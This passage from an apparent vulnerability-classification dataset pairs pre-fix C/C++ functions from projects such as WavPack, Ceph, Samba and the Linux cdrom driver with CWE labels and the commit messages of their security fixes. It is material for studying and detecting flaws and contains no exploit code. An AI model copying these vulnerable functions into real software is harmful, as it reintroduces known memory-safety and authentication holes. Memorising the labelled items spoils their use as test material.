cp->numcmpts); ++cmptno, ++comp) {\n\t\t\tccps = &cp->ccps[cmptno];\n\t\t\tif (JAS_CAST(int, ccps->numstepsizes) == comp->numstepsizes) {\n\t\t\t\tsamestepsizes = 1;\n\t\t\t\tfor (bandno = 0; bandno < JAS_CAST(int, ccps->numstepsizes);\n\t\t\t\t ++bandno) {\n\t\t\t\t\tif (ccps->stepsizes[bandno] != comp->stepsizes[bandno]) {\n\t\t\t\t\t\tsamestepsizes = 0;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsamestepsizes = 0;\n\t\t\t}\n\t\t\tif (!samestepsizes) {\n\t\t\t\tif (!(enc->mrk = jpc_ms_create(JPC_MS_QCC))) {\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\t\t\t\tqcc = &enc->mrk->parms.qcc;\n\t\t\t\tqcc->compno = cmptno;\n\t\t\t\tqcc->compparms.numguard = cp->tccp.numgbits;\n\t\t\t\tqcc->compparms.qntsty = (comp->qmfbid == JPC_COX_INS) ?\n\t\t\t\t JPC_QCX_SEQNT : JPC_QCX_NOQNT;\n\t\t\t\tqcc->compparms.numstepsizes = comp->numstepsizes;\n\t\t\t\tqcc->compparms.stepsizes = comp->stepsizes;\n\t\t\t\tif (jpc_putms(enc->tmpstream, enc->cstate, enc->mrk)) {\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\t\t\t\tqcc->compparms.stepsizes = 0;\n\t\t\t\tjpc_ms_destroy(enc->mrk);\n\t\t\t\tenc->mrk = 0;\n\t\t\t}\n\t\t}\n\n\t\t/* Write a SOD marker to indicate the end of the tile header. */\n\t\tif (!(enc->mrk = jpc_ms_create(JPC_MS_SOD))) {\n\t\t\treturn -1;\n\t\t}\n\t\tif (jpc_putms(enc->tmpstream, enc->cstate, enc->mrk)) {\n\t\t\tjas_eprintf(\"cannot write SOD marker\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\tjpc_ms_destroy(enc->mrk);\n\t\tenc->mrk = 0;\n\t\ttilehdrlen = jas_stream_getrwcount(enc->tmpstream);\n\t\tassert(tilehdrlen >= 0);\n\n/************************************************************************/\n/************************************************************************/\n/************************************************************************/\n\n\t\tif (jpc_enc_enccblks(enc)) {\n\t\t\tabort();\n\t\t\treturn -1;\n\t\t}\n\n\t\tcp = enc->cp;\n\t\trho = (double) (tile->brx - tile->tlx) * (tile->bry - tile->tly) /\n\t\t ((cp->refgrdwidth - cp->imgareatlx) * (cp->refgrdheight -\n\t\t cp->imgareatly));\n\t\ttile->rawsize = cp->rawsize * rho;\n\n\t\tfor (lyrno = 0; lyrno < tile->numlyrs - 1; ++lyrno) {\n\t\t\ttile->lyrsizes[lyrno] = tile->rawsize * jpc_fixtodbl(\n\t\t\t cp->tcp.ilyrrates[lyrno]);\n\t\t}\n#if !defined(__clang__)\n\t\t// WARNING:\n\t\t// Some versions of Clang (e.g., 3.7.1 and 3.8.1) appear to generate\n\t\t// incorrect code for the following line.\n\t\ttile->lyrsizes[tile->numlyrs - 1] =\n\t\t (cp->totalsize != UINT_FAST32_MAX) ?\n\t\t (rho * enc->mainbodysize) : UINT_FAST32_MAX;\n#else\n\t\tif (cp->totalsize != UINT_FAST32_MAX) {\n\t\t\ttile->lyrsizes[tile->numlyrs - 1] = (rho * enc->mainbodysize);\n\t\t} else {\n\t\t\ttile->lyrsizes[tile->numlyrs - 1] = UINT_FAST32_MAX;\n\t\t}\n#endif\n//jas_eprintf(\"TESTING %ld %ld\\n\", cp->totalsize != UINT_FAST32_MAX, tile->lyrsizes[0]);\n\t\tfor (lyrno = 0; lyrno < tile->numlyrs; ++lyrno) {\n\t\t\tif (tile->lyrsizes[lyrno] != UINT_FAST32_MAX) {\n\t\t\t\tif (JAS_CAST(uint_fast32_t, tilehdrlen) <= tile->lyrsizes[lyrno]) {\n\t\t\t\t\ttile->lyrsizes[lyrno] -= tilehdrlen;\n\t\t\t\t} else {\n\t\t\t\t\ttile->lyrsizes[lyrno] = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (rateallocate(enc, tile->numlyrs, tile->lyrsizes)) {\n\t\t\treturn -1;\n\t\t}\n\n#if 0\njas_eprintf(\"ENCODE TILE DATA\\n\");\n#endif\n\t\tif (jpc_enc_encodetiledata(enc)) {\n\t\t\tjas_eprintf(\"dotile failed\\n\");\n\t\t\treturn -1;\n\t\t}\n\n/************************************************************************/\n/************************************************************************/\n/************************************************************************/\n\n/************************************************************************/\n/************************************************************************/\n/************************************************************************/\n\n\t\ttilelen = jas_stream_tell(enc->tmpstream);\n\n\t\tif (jas_stream_seek(enc->tmpstream, 6, SEEK_SET) < 0) {\n\t\t\treturn -1;\n\t\t}\n\t\tjpc_putuint32(enc->tmpstream, tilelen);\n\n\t\tif (jas_stream_seek(enc->tmpstream, 0, SEEK_SET) < 0) {\n\t\t\treturn -1;\n\t\t}\n\t\tif (jpc_putdata(enc->out, enc->tmpstream, -1)) {\n\t\t\treturn -1;\n\t\t}\n\t\tenc->len += tilelen;\n\n\t\tjas_stream_close(enc->tmpstream);\n\t\tenc->tmpstream = 0;\n\n\t\tjpc_enc_tile_destroy(enc->curtile);\n\t\tenc->curtile = 0;\n\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-617'], 'message': 'jpc_enc: jpc_abstorelstepsize() returns error instead of aborting\n\nFixes CVE-2018-9252\n\nCloses https://github.com/jasper-maint/jasper/issues/16'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int ParseDsdiffHeaderConfig (FILE *infile, char *infilename, char *fourcc, WavpackContext *wpc, WavpackConfig *config)\n{\n int64_t infilesize, total_samples;\n DFFFileHeader dff_file_header;\n DFFChunkHeader dff_chunk_header;\n uint32_t bcount;\n\n infilesize = DoGetFileSize (infile);\n memcpy (&dff_file_header, fourcc, 4);\n\n if ((!DoReadFile (infile, ((char *) &dff_file_header) + 4, sizeof (DFFFileHeader) - 4, &bcount) ||\n bcount != sizeof (DFFFileHeader) - 4) || strncmp (dff_file_header.formType, \"DSD \", 4)) {\n error_line (\"%s is not a valid .DFF file!\", infilename);\n return WAVPACK_SOFT_ERROR;\n }\n else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) &&\n !WavpackAddWrapper (wpc, &dff_file_header, sizeof (DFFFileHeader))) {\n error_line (\"%s\", WavpackGetErrorMessage (wpc));\n return WAVPACK_SOFT_ERROR;\n }\n\n#if 1 // this might be a little too picky...\n WavpackBigEndianToNative (&dff_file_header, DFFFileHeaderFormat);\n\n if (infilesize && !(config->qmode & QMODE_IGNORE_LENGTH) &&\n dff_file_header.ckDataSize && dff_file_header.ckDataSize + 1 && dff_file_header.ckDataSize + 12 != infilesize) {\n error_line (\"%s is not a valid .DFF file (by total size)!\", infilename);\n return WAVPACK_SOFT_ERROR;\n }\n\n if (debug_logging_mode)\n error_line (\"file header indicated length = %lld\", dff_file_header.ckDataSize);\n\n#endif\n\n // loop through all elements of the DSDIFF header\n // (until the data chuck) and copy them to the output file\n\n while (1) {\n if (!DoReadFile (infile, &dff_chunk_header, sizeof (DFFChunkHeader), &bcount) ||\n bcount != sizeof (DFFChunkHeader)) {\n error_line (\"%s is not a valid .DFF file!\", infilename);\n return WAVPACK_SOFT_ERROR;\n }\n else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) &&\n !WavpackAddWrapper (wpc, &dff_chunk_header, sizeof (DFFChunkHeader))) {\n error_line (\"%s\", WavpackGetErrorMessage (wpc));\n return WAVPACK_SOFT_ERROR;\n }\n\n WavpackBigEndianToNative (&dff_chunk_header, DFFChunkHeaderFormat);\n\n if (debug_logging_mode)\n error_line (\"chunk header indicated length = %lld\", dff_chunk_header.ckDataSize);\n\n if (!strncmp (dff_chunk_header.ckID, \"FVER\", 4)) {\n uint32_t version;\n\n if (dff_chunk_header.ckDataSize != sizeof (version) ||\n !DoReadFile (infile, &version, sizeof (version), &bcount) ||\n bcount != sizeof (version)) {\n error_line (\"%s is not a valid .DFF file!\", infilename);\n return WAVPACK_SOFT_ERROR;\n }\n else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) &&\n !WavpackAddWrapper (wpc, &version, sizeof (version))) {\n error_line (\"%s\", WavpackGetErrorMessage (wpc));\n return WAVPACK_SOFT_ERROR;\n }\n\n WavpackBigEndianToNative (&version, \"L\");\n\n if (debug_logging_mode)\n error_line (\"dsdiff file version = 0x%08x\", version);\n }\n else if (!strncmp (dff_chunk_header.ckID, \"PROP\", 4)) {\n char *prop_chunk;\n\n if (dff_chunk_header.ckDataSize < 4 || dff_chunk_header.ckDataSize > 1024) {\n error_line (\"%s is not a valid .DFF file!\", infilename);\n return WAVPACK_SOFT_ERROR;\n }\n\n if (debug_logging_mode)\n error_line (\"got PROP chunk of %d bytes total\", (int) dff_chunk_header.ckDataSize);\n\n prop_chunk = malloc ((size_t) dff_chunk_header.ckDataSize);\n\n if (!DoReadFile (infile, prop_chunk, (uint32_t) dff_chunk_header.ckDataSize, &bcount) ||\n bcount != dff_chunk_header.ckDataSize) {\n error_line (\"%s is not a valid .DFF file!\", infilename);\n free (prop_chunk);\n return WAVPACK_SOFT_ERROR;\n }\n else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) &&\n !WavpackAddWrapper (wpc, prop_chunk, (uint32_t) dff_chunk_header.ckDataSize)) {\n error_line (\"%s\", WavpackGetErrorMessage (wpc));\n free (prop_chunk);\n return WAVPACK_SOFT_ERROR;\n }\n\n if (!strncmp (prop_chunk, \"SND \", 4)) {\n char *cptr = prop_chunk + 4, *eptr = prop_chunk + dff_chunk_header.ckDataSize;\n uint16_t numChannels, chansSpecified, chanMask = 0;\n uint32_t sampleRate;\n\n while (eptr - cptr >= sizeof (dff_chunk_header)) {\n memcpy (&dff_chunk_header, cptr, sizeof (dff_chunk_header));\n cptr += sizeof (dff_chunk_header);\n WavpackBigEndianToNative (&dff_chunk_header, DFFChunkHeaderFormat);\n\n if (eptr - cptr >= dff_chunk_header.ckDataSize) {\n if (!strncmp (dff_chunk_header.ckID, \"FS \", 4) && dff_chunk_header.ckDataSize == 4) {\n memcpy (&sampleRate, cptr, sizeof (sampleRate));\n WavpackBigEndianToNative (&sampleRate, \"L\");\n cptr += dff_chunk_header.ckDataSize;\n\n if (debug_logging_mode)\n error_line (\"got sample rate of %u Hz\", sampleRate);\n }\n else if (!strncmp (dff_chunk_header.ckID, \"CHNL\", 4) && dff_chunk_header.ckDataSize >= 2) {\n memcpy (&numChannels, cptr, sizeof (numChannels));\n WavpackBigEndianToNative (&numChannels, \"S\");\n cptr += sizeof (numChannels);\n\n chansSpecified = (int)(dff_chunk_header.ckDataSize - sizeof (numChannels)) / 4;\n\n while (chansSpecified--) {\n if (!strncmp (cptr, \"SLFT\", 4) || !strncmp (cptr, \"MLFT\", 4))\n chanMask |= 0x1;\n else if (!strncmp (cptr, \"SRGT\", 4) || !strncmp (cptr, \"MRGT\", 4))\n chanMask |= 0x2;\n else if (!strncmp (cptr, \"LS \", 4))\n chanMask |= 0x10;\n else if (!strncmp (cptr, \"RS \", 4))\n chanMask |= 0x20;\n else if (!strncmp (cptr, \"C \", 4))\n chanMask |= 0x4;\n else if (!strncmp (cptr, \"LFE \", 4))\n chanMask |= 0x8;\n else\n if (debug_logging_mode)\n error_line (\"undefined channel ID %c%c%c%c\", cptr [0], cptr [1], cptr [2], cptr [3]);\n\n cptr += 4;\n }\n\n if (debug_logging_mode)\n error_line (\"%d channels, mask = 0x%08x\", numChannels, chanMask);\n }\n else if (!strncmp (dff_chunk_header.ckID, \"CMPR\", 4) && dff_chunk_header.ckDataSize >= 4) {\n if (strncmp (cptr, \"DSD \", 4)) {\n error_line (\"DSDIFF files must be uncompressed, not \\\"%c%c%c%c\\\"!\",\n cptr [0], cptr [1], cptr [2], cptr [3]);\n free (prop_chunk);\n return WAVPACK_SOFT_ERROR;\n }\n\n cptr += dff_chunk_header.ckDataSize;\n }\n else {\n if (debug_logging_mode)\n error_line (\"got PROP/SND chunk type \\\"%c%c%c%c\\\" of %d bytes\", dff_chunk_header.ckID [0],\n dff_chunk_header.ckID [1], dff_chunk_header.ckID [2], dff_chunk_header.ckID [3], dff_chunk_header.ckDataSize);\n\n cptr += dff_chunk_header.ckDataSize;\n }\n }\n else {\n error_line (\"%s is not a valid .DFF file!\", infilename);\n free (prop_chunk);\n return WAVPACK_SOFT_ERROR;\n }\n }\n\n if (chanMask && (config->channel_mask || (config->qmode & QMODE_CHANS_UNASSIGNED))) {\n error_line (\"this DSDIFF file already has channel order information!\");\n free (prop_chunk);\n return WAVPACK_SOFT_ERROR;\n }\n else if (chanMask)\n config->channel_mask = chanMask;\n\n config->bits_per_sample = 8;\n config->bytes_per_sample = 1;\n config->num_channels = numChannels;\n config->sample_rate = sampleRate / 8;\n config->qmode |= QMODE_DSD_MSB_FIRST;\n }\n else if (debug_logging_mode)\n error_line (\"got unknown PROP chunk type \\\"%c%c%c%c\\\" of %d bytes\",\n prop_chunk [0], prop_chunk [1], prop_chunk [2], prop_chunk [3], dff_chunk_header.ckDataSize);\n\n free (prop_chunk);\n }\n else if (!strncmp (dff_chunk_header.ckID, \"DSD \", 4)) {\n total_samples = dff_chunk_header.ckDataSize / config->num_channels;\n break;\n }\n else { // just copy unknown chunks to output file\n\n int bytes_to_copy = (int)(((dff_chunk_header.ckDataSize) + 1) & ~(int64_t)1);\n char *buff = malloc (bytes_to_copy);\n\n if (debug_logging_mode)\n error_line (\"extra unknown chunk \\\"%c%c%c%c\\\" of %d bytes\",\n dff_chunk_header.ckID [0], dff_chunk_header.ckID [1], dff_chunk_header.ckID [2],\n dff_chunk_header.ckID [3], dff_chunk_header.ckDataSize);\n\n if (!DoReadFile (infile, buff, bytes_to_copy, &bcount) ||\n bcount != bytes_to_copy ||\n (!(config->qmode & QMODE_NO_STORE_WRAPPER) &&\n !WavpackAddWrapper (wpc, buff, bytes_to_copy))) {\n error_line (\"%s\", WavpackGetErrorMessage (wpc));\n free (buff);\n return WAVPACK_SOFT_ERROR;\n }\n\n free (buff);\n }\n }\n\n if (debug_logging_mode)\n error_line (\"setting configuration with %lld samples\", total_samples);\n\n if (!WavpackSetConfiguration64 (wpc, config, total_samples, NULL)) {\n error_line (\"%s: %s\", infilename, WavpackGetErrorMessage (wpc));\n return WAVPACK_SOFT_ERROR;\n }\n\n return WAVPACK_NO_ERROR;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'issue #33, sanitize size of unknown chunks before malloc()'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: virtual bool ms_verify_authorizer(Connection *con, int peer_type,\n\t\t\t\t int protocol, bufferlist& authorizer,\n\t\t\t\t bufferlist& authorizer_reply,\n\t\t\t\t bool& isvalid, CryptoKey& session_key) {\n /* always succeed */\n isvalid = true;\n return true;\n }; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-287', 'CWE-284'], 'message': 'auth/cephx: add authorizer challenge\n\nAllow the accepting side of a connection to reject an initial authorizer\nwith a random challenge. The connecting side then has to respond with an\nupdated authorizer proving they are able to decrypt the service's challenge\nand that the new authorizer was produced for this specific connection\ninstance.\n\nThe accepting side requires this challenge and response unconditionally\nif the client side advertises they have the feature bit. Servers wishing\nto require this improved level of authentication simply have to require\nthe appropriate feature.\n\nSigned-off-by: Sage Weil \n(cherry picked from commit f80b848d3f830eb6dba50123e04385173fa4540b)\n\n# Conflicts:\n#\tsrc/auth/Auth.h\n#\tsrc/auth/cephx/CephxProtocol.cc\n#\tsrc/auth/cephx/CephxProtocol.h\n#\tsrc/auth/none/AuthNoneProtocol.h\n#\tsrc/msg/Dispatcher.h\n#\tsrc/msg/async/AsyncConnection.cc\n\n- const_iterator\n- ::decode vs decode\n- AsyncConnection ctor arg noise\n- get_random_bytes(), not cct->random()'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bool ms_deliver_verify_authorizer(Connection *con, int peer_type,\n\t\t\t\t int protocol, bufferlist& authorizer, bufferlist& authorizer_reply,\n\t\t\t\t bool& isvalid, CryptoKey& session_key) {\n for (list::iterator p = dispatchers.begin();\n\t p != dispatchers.end();\n\t ++p) {\n if ((*p)->ms_verify_authorizer(con, peer_type, protocol, authorizer, authorizer_reply, isvalid, session_key))\n\treturn true;\n }\n return false;\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-287', 'CWE-284'], 'message': 'auth/cephx: add authorizer challenge\n\nAllow the accepting side of a connection to reject an initial authorizer\nwith a random challenge. The connecting side then has to respond with an\nupdated authorizer proving they are able to decrypt the service's challenge\nand that the new authorizer was produced for this specific connection\ninstance.\n\nThe accepting side requires this challenge and response unconditionally\nif the client side advertises they have the feature bit. Servers wishing\nto require this improved level of authentication simply have to require\nthe appropriate feature.\n\nSigned-off-by: Sage Weil \n(cherry picked from commit f80b848d3f830eb6dba50123e04385173fa4540b)\n\n# Conflicts:\n#\tsrc/auth/Auth.h\n#\tsrc/auth/cephx/CephxProtocol.cc\n#\tsrc/auth/cephx/CephxProtocol.h\n#\tsrc/auth/none/AuthNoneProtocol.h\n#\tsrc/msg/Dispatcher.h\n#\tsrc/msg/async/AsyncConnection.cc\n\n- const_iterator\n- ::decode vs decode\n- AsyncConnection ctor arg noise\n- get_random_bytes(), not cct->random()'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bool MDSDaemon::ms_verify_authorizer(Connection *con, int peer_type,\n\t\t\t int protocol, bufferlist& authorizer_data, bufferlist& authorizer_reply,\n\t\t\t bool& is_valid, CryptoKey& session_key)\n{\n Mutex::Locker l(mds_lock);\n if (stopping) {\n return false;\n }\n if (beacon.get_want_state() == CEPH_MDS_STATE_DNE)\n return false;\n\n AuthAuthorizeHandler *authorize_handler = 0;\n switch (peer_type) {\n case CEPH_ENTITY_TYPE_MDS:\n authorize_handler = authorize_handler_cluster_registry->get_handler(protocol);\n break;\n default:\n authorize_handler = authorize_handler_service_registry->get_handler(protocol);\n }\n if (!authorize_handler) {\n dout(0) << \"No AuthAuthorizeHandler found for protocol \" << protocol << dendl;\n is_valid = false;\n return true;\n }\n\n AuthCapsInfo caps_info;\n EntityName name;\n uint64_t global_id;\n\n RotatingKeyRing *keys = monc->rotating_secrets.get();\n if (keys) {\n is_valid = authorize_handler->verify_authorizer(\n cct, keys,\n authorizer_data, authorizer_reply, name, global_id, caps_info,\n session_key);\n } else {\n dout(10) << __func__ << \" no rotating_keys (yet), denied\" << dendl;\n is_valid = false;\n }\n\n if (is_valid) {\n entity_name_t n(con->get_peer_type(), global_id);\n\n // We allow connections and assign Session instances to connections\n // even if we have not been assigned a rank, because clients with\n // \"allow *\" are allowed to connect and do 'tell' operations before\n // we have a rank.\n Session *s = NULL;\n if (mds_rank) {\n // If we do hold a rank, see if this is an existing client establishing\n // a new connection, rather than a new client\n s = mds_rank->sessionmap.get_session(n);\n }\n\n // Wire up a Session* to this connection\n // It doesn't go into a SessionMap instance until it sends an explicit\n // request to open a session (initial state of Session is `closed`)\n if (!s) {\n s = new Session;\n s->info.auth_name = name;\n s->info.inst.addr = con->get_peer_addr();\n s->info.inst.name = n;\n dout(10) << \" new session \" << s << \" for \" << s->info.inst << \" con \" << con << dendl;\n con->set_priv(s);\n s->connection = con;\n } else {\n dout(10) << \" existing session \" << s << \" for \" << s->info.inst << \" existing con \" << s->connection\n\t << \", new/authorizing con \" << con << dendl;\n con->set_priv(s->get());\n\n\n\n // Wait until we fully accept the connection before setting\n // s->connection. In particular, if there are multiple incoming\n // connection attempts, they will all get their authorizer\n // validated, but some of them may \"lose the race\" and get\n // dropped. We only want to consider the winner(s). See\n // ms_handle_accept(). This is important for Sessions we replay\n // from the journal on recovery that don't have established\n // messenger state; we want the con from only the winning\n // connect attempt(s). (Normal reconnects that don't follow MDS\n // recovery are reconnected to the existing con by the\n // messenger.)\n }\n\n if (caps_info.allow_all) {\n // Flag for auth providers that don't provide cap strings\n s->auth_caps.set_allow_all();\n } else {\n bufferlist::iterator p = caps_info.caps.begin();\n string auth_cap_str;\n try {\n ::decode(auth_cap_str, p);\n\n dout(10) << __func__ << \": parsing auth_cap_str='\" << auth_cap_str << \"'\" << dendl;\n std::ostringstream errstr;\n if (!s->auth_caps.parse(g_ceph_context, auth_cap_str, &errstr)) {\n dout(1) << __func__ << \": auth cap parse error: \" << errstr.str()\n\t\t << \" parsing '\" << auth_cap_str << \"'\" << dendl;\n\t clog->warn() << name << \" mds cap '\" << auth_cap_str\n\t\t << \"' does not parse: \" << errstr.str();\n is_valid = false;\n }\n } catch (buffer::error& e) {\n // Assume legacy auth, defaults to:\n // * permit all filesystem ops\n // * permit no `tell` ops\n dout(1) << __func__ << \": cannot decode auth caps bl of length \" << caps_info.caps.length() << dendl;\n is_valid = false;\n }\n }\n }\n\n return true; // we made a decision (see is_valid)\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-287', 'CWE-284'], 'message': 'auth/cephx: add authorizer challenge\n\nAllow the accepting side of a connection to reject an initial authorizer\nwith a random challenge. The connecting side then has to respond with an\nupdated authorizer proving they are able to decrypt the service's challenge\nand that the new authorizer was produced for this specific connection\ninstance.\n\nThe accepting side requires this challenge and response unconditionally\nif the client side advertises they have the feature bit. Servers wishing\nto require this improved level of authentication simply have to require\nthe appropriate feature.\n\nSigned-off-by: Sage Weil \n(cherry picked from commit f80b848d3f830eb6dba50123e04385173fa4540b)\n\n# Conflicts:\n#\tsrc/auth/Auth.h\n#\tsrc/auth/cephx/CephxProtocol.cc\n#\tsrc/auth/cephx/CephxProtocol.h\n#\tsrc/auth/none/AuthNoneProtocol.h\n#\tsrc/msg/Dispatcher.h\n#\tsrc/msg/async/AsyncConnection.cc\n\n- const_iterator\n- ::decode vs decode\n- AsyncConnection ctor arg noise\n- get_random_bytes(), not cct->random()'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int cdrom_ioctl_media_changed(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tstruct cdrom_changer_info *info;\n\tint ret;\n\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_MEDIA_CHANGED\\n\");\n\n\tif (!CDROM_CAN(CDC_MEDIA_CHANGED))\n\t\treturn -ENOSYS;\n\n\t/* cannot select disc or select current disc */\n\tif (!CDROM_CAN(CDC_SELECT_DISC) || arg == CDSL_CURRENT)\n\t\treturn media_changed(cdi, 1);\n\n\tif ((unsigned int)arg >= cdi->capacity)\n\t\treturn -EINVAL;\n\n\tinfo = kmalloc(sizeof(*info), GFP_KERNEL);\n\tif (!info)\n\t\treturn -ENOMEM;\n\n\tret = cdrom_read_mech_status(cdi, info);\n\tif (!ret)\n\t\tret = info->slots[arg].change;\n\tkfree(info);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'cdrom: information leak in cdrom_ioctl_media_changed()\n\nThis cast is wrong. \"cdi->capacity\" is an int and \"arg\" is an unsigned\nlong. The way the check is written now, if one of the high 32 bits is\nset then we could read outside the info->slots[] array.\n\nThis bug is pretty old and it predates git.\n\nReviewed-by: Christoph Hellwig \nCc: stable@vger.kernel.org\nSigned-off-by: Dan Carpenter \nSigned-off-by: Jens Axboe '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int ldb_kv_search_dn1(struct ldb_module *module,\n\t\t struct ldb_dn *dn,\n\t\t struct ldb_message *msg,\n\t\t unsigned int unpack_flags)\n{\n\tvoid *data = ldb_module_get_private(module);\n\tstruct ldb_kv_private *ldb_kv =\n\t talloc_get_type(data, struct ldb_kv_private);\n\tint ret;\n\tuint8_t guid_key[LDB_KV_GUID_KEY_SIZE];\n\tstruct ldb_val key = {\n\t\t.data = guid_key,\n\t\t.length = sizeof(guid_key)\n\t};\n\tTALLOC_CTX *tdb_key_ctx = NULL;\n\n\tif (ldb_kv->cache->GUID_index_attribute == NULL ||\n\t ldb_dn_is_special(dn)) {\n\n\t\ttdb_key_ctx = talloc_new(msg);\n\t\tif (!tdb_key_ctx) {\n\t\t\treturn ldb_module_oom(module);\n\t\t}\n\n\t\t/* form the key */\n\t\tkey = ldb_kv_key_dn(module, tdb_key_ctx, dn);\n\t\tif (!key.data) {\n\t\t\tTALLOC_FREE(tdb_key_ctx);\n\t\t\treturn LDB_ERR_OPERATIONS_ERROR;\n\t\t}\n\t} else {\n\t\t/*\n\t\t * Look in the index to find the key for this DN.\n\t\t *\n\t\t * the tdb_key memory is allocated above, msg is just\n\t\t * used for internal memory.\n\t\t *\n\t\t */\n\t\tret = ldb_kv_key_dn_from_idx(module, ldb_kv, msg, dn, &key);\n\t\tif (ret != LDB_SUCCESS) {\n\t\t\treturn ret;\n\t\t}\n\t}\n\n\tret = ldb_kv_search_key(module, ldb_kv, key, msg, unpack_flags);\n\n\tTALLOC_FREE(tdb_key_ctx);\n\n\tif (ret != LDB_SUCCESS) {\n\t\treturn ret;\n\t}\n\n\tif ((unpack_flags & LDB_UNPACK_DATA_FLAG_NO_DN) == 0) {\n\t\tif (!msg->dn) {\n\t\t\tmsg->dn = ldb_dn_copy(msg, dn);\n\t\t}\n\t\tif (!msg->dn) {\n\t\t\treturn LDB_ERR_OPERATIONS_ERROR;\n\t\t}\n\t}\n\n\treturn LDB_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'CVE-2018-1140 ldb_tdb: Check for DN validity in add, rename and search\n\nThis ensures we fail with a good error code before an eventual ldb_dn_get_casefold() which\nwould otherwise fail.\n\nSigned-off-by: Andrew Bartlett \nReviewed-by: Douglas Bagnall \nBUG: https://bugzilla.samba.org/show_bug.cgi?id=13374'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PackLinuxElf64::check_pt_dynamic(Elf64_Phdr const *const phdr)\n{\n upx_uint64_t t = get_te64(&phdr->p_offset), s = sizeof(Elf64_Dyn) + t;\n upx_uint64_t filesz = get_te64(&phdr->p_filesz), memsz = get_te64(&phdr->p_memsz);\n if (s < t || (upx_uint64_t)file_size < s\n || (7 & t) || (0xf & (filesz | memsz)) // .balign 8; 16==sizeof(Elf64_Dyn)\n || filesz < sizeof(Elf64_Dyn)\n || memsz < sizeof(Elf64_Dyn)\n || filesz < memsz) {\n char msg[50]; snprintf(msg, sizeof(msg), \"bad PT_DYNAMIC phdr[%u]\",\n (unsigned)(phdr - phdri));\n throwCantPack(msg);\n }\n sz_dynseg = memsz;\n return t;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'More checking of PT_DYNAMIC and its contents.\n\nhttps://github.com/upx/upx/issues/206\n\tmodified: p_lx_elf.cpp'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static bool _is_valid_will_run_user(job_desc_msg_t *job_desc_msg, uid_t uid)\n{\n\tchar *account = NULL;\n\n\tif ((uid == job_desc_msg->user_id) || validate_operator(uid))\n\t\treturn true;\n\n\tif (job_desc_msg->job_id != NO_VAL) {\n\t\tstruct job_record *job_ptr;\n\t\tjob_ptr = find_job_record(job_desc_msg->job_id);\n\t\tif (job_ptr)\n\t\t\taccount = job_ptr->account;\n\t} else if (job_desc_msg->account)\n\t\taccount = job_desc_msg->account;\n\n\tif (account && assoc_mgr_is_user_acct_coord(acct_db_conn, uid, account))\n\t\treturn true;\n\n\treturn false;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Fix insecure handling of job requested gid.\n\nOnly trust MUNGE signed values, unless the RPC was signed by\nSlurmUser or root.\n\nCVE-2018-10995.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: zstatus(i_ctx_t *i_ctx_p)\n{\n os_ptr op = osp;\n\n switch (r_type(op)) {\n case t_file:\n {\n stream *s;\n\n make_bool(op, (file_is_valid(s, op) ? 1 : 0));\n }\n return 0;\n case t_string:\n {\n gs_parsed_file_name_t pname;\n struct stat fstat;\n int code = parse_file_name(op, &pname,\n 